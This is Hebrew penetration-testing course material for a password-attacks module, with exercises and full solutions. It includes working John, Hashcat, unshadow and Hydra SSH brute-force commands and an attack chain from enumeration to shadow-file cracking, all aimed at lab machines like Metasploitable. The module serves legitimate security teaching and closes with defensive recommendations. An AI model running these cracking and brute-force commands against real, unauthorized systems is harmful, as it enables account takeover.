

מודול 8 — מתקפות סיסמאות — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 8: מתקפות סיסמאות
2.  פתרונות מלאים — מודול 8: מתקפות סיסמאות

תרגילים — מודול 8: מתקפות סיסמאות

⚠ רק על מכונות המעבדה שלך (Metasploitable / מכונות תרגול). מתקפות מקוונות רועשות ונועלות חשבונות — לעולם לא על יעד לא-מורשה. פתרונות ב- [solutions.md](#).

מקרא רמות: קל • בינוני • מתקדם • אתגר

חלק א' — Wordlists-1 Hashes (●●)

8.1 ● — מצא את `rockyou.txt` במערכת. אם הוא דחוס — חלץ אותו. כמה סיסמאות הוא מכיל?

8.2 ● — זהה את סוג ה-Hash `5f4dcc3b5aa765d61d8327deb882cf99` בעזרת `hashid`.

8.3 ● — התקן את `seclists`. איפה הוא מותקן, ואילו סוגי רשימות הוא כולל?

חלק ב' — סדיקה לא-מקוונת (●●)

8.4 ● — שמור את ה-Hash של `password` (MD5) לקובץ, וסדוק אותו עם **John** באמצעות `rockyou`.

8.5 ● — אותו Hash — סדוק אותו הפעם עם **Hashcat** (`-m 0`). השווה את החוויה בין הכלים.

8.6 ● — צור משתמש בדיקה במכונת המעבדה, בצע `unshadow` על `/etc/passwd + /etc/shadow`, וסדוק עם `John`.

חלק ג' — סדיקה מקוונת (●)

8.7 — הרץ Brute Force ל-Ssh על Metasploitable עם Hydra (משתמש `msfadmin`, `wordlist` קטן). מצא את הסיסמה.

8.8 — הסבר מה עושה כל חלק בפקודה: `hydra -l admin -P rockyou.txt ssh://10.0.0.5 -t`.
4.

חלק ד' — מתקפות רוחביות (מתקדם)

8.9 — הסבר את ההבדל בין Brute Force, Password Spraying ו-Credential Stuffing. מתי תבחר Spraying על פני Brute Force, ולמה?

אתגר מסכם — "מפרטי גישה לשליטה"

תרחיש משולב (מודולים 5 → 6 → 8): 1. **מנייה**: על מכונת מעבדה, מצא שירות עם התחברות (SSH/FTP) ושם משתמש (מ-enum4linux/מנייה). 2. **תקיפה מקוונת**: הרץ Hydra עם wordlist מתאים ומצא סיסמה. 3. **גישה**: התחבר עם הפרטים שמצאת (`ssh user@target`). 4. **סדיקה לא-מקוונת**: לאחר גישה, השג `/etc/shadow`, בצע `unshadow`, וסדוק סיסמאות נוספות עם John/Hashcat. 5. **תיעוד**: רשום — איזה משתמש, איזו סיסמה, באיזה כלי, וכמה זמן לקח. **המלץ תיקון** (MFA / מדיניות סיסמאות) לדוח.

📌 שרשרת זו — משתמש → סיסמה → גישה → Hashes נוספים — היא בדיוק מה שקורה בבדיקה פנימית.

רשימת בקרה — לפני מעבר למודול 9

- ☐ אני מזהה סוגי Hash (hashid) ומוצא/מחלץ wordlists
- ☐ אני סודק Hashes עם John ועם Hashcat (ומבין -m)
- ☐ אני מבצע `unshadow` וסודק סיסמאות Linux
- ☐ אני מריץ Brute Force מקוון עם Hydra (SSH/FTP/web)
- ☐ אני מבין Spraying מול Stuffing מול Brute Force
- ☐ אני יודע להמליץ הגנות (MFA, נעילה, Hashing חזק)

פתרונות מלאים: `solutions.md`

פתרונות מלאים — מודול 8: מתקפות סיסמאות

נסה לבד ב- `missions.md` קודם.

חלק א' — Wordlists-1 Hashes

8.1

```
ls -lh /usr/share/wordlists/  
sudo gunzip /usr/share/wordlists/rockyou.txt.gz    # אם דחוס  
wc -l /usr/share/wordlists/rockyou.txt             # → 14,344,392
```

8.2

```
hashid '5f4dcc3b5aa765d61d8327deb882cf99'  
# → MD5 (בין השאר). זהו Hash של המחרוזת "password".
```

8.3

```
sudo apt install seclists -y  
ls /usr/share/seclists/      # Passwords, Usernames, Discovery, Fuzzing...
```

חלק ב' — סדיקה לא-מקוונת

8.4

```
echo '5f4dcc3b5aa765d61d8327deb882cf99' > hash.txt  
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt  
john --show --format=raw-md5 hash.txt      # → password
```

8.5

```
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt  
hashcat --show -m 0 hash.txt              # → ...:password
```

Hashcat דורש ציון mode מדויק (MD5= -m 0) אך מהיר בהרבה (GPU); John נוח ואוטומטי יותר.

8.6

```
sudo useradd -m testy && echo 'testy:Summer2024' | sudo chpasswd  
sudo unshadow /etc/passwd /etc/shadow > crack.txt  
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt  
john --show crack.txt
```

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://<metasploitable-ip> -t 4
# msfadmin היא הסיסמה של Metasploitable ב
```

8.8 — -l admin = שם משתמש יחיד · -P rockyou.txt = קובץ סיסמאות · ssh://10.0.0.5 = פרטוקול+יעד · -t 4 = 4 חוטים במקביל (מאט את הקצב, פחות נעילות).

חלק ד' — מתקפות רוחביות

8.9 — Brute Force — הרבה סיסמאות נגד משתמש אחד; רועש, נועל חשבונות. - Password Spraying
 — סיסמה אחת נפוצה נגד הרבה משתמשים; ניסיון אחד לכל חשבון → נמנע מנעילה. - Credential Stuffing
 — פרטים שדלפו נגד מערכות אחרות (מיחזור סיסמאות). תבחר Spraying כשיש מדיניות נעילת חשבונות — כי ניסיון בודד לכל משתמש לא מפעיל את הנעילה, ומספיק משתמש אחד עם Winter2024!

אתגר מסכם — פתרון לדוגמה

```
# מנייה + תקיפה מקוונת. 1-2
enum4linux -a <ip> # → משתמש: msfadmin
hydra -l msfadmin -P rockyou.txt ssh://<ip> -t 4 # → סיסמה: msfadmin
# 3. גישה
ssh msfadmin@<ip>
# 4. סדיקה לא-מקוונת (אם יש הרשאות)
sudo unshadow /etc/passwd /etc/shadow > c.txt
john --wordlist=/usr/share/wordlists/rockyou.txt c.txt
```

תיעוד לדוגמה:

High: חומרה — (msfadmin:msfadmin) SSH-ממצא: סיסמה חלשה ל
 PoC: Hydra הצליחה SSH מצא את הסיסמה תוך שניות; התחברות
 .נעילת חשבון אחרי 5 ניסיונות + MFA + תיקון: אכזר מדיניות סיסמאות חזקה.

עברת? המשך למודול 9.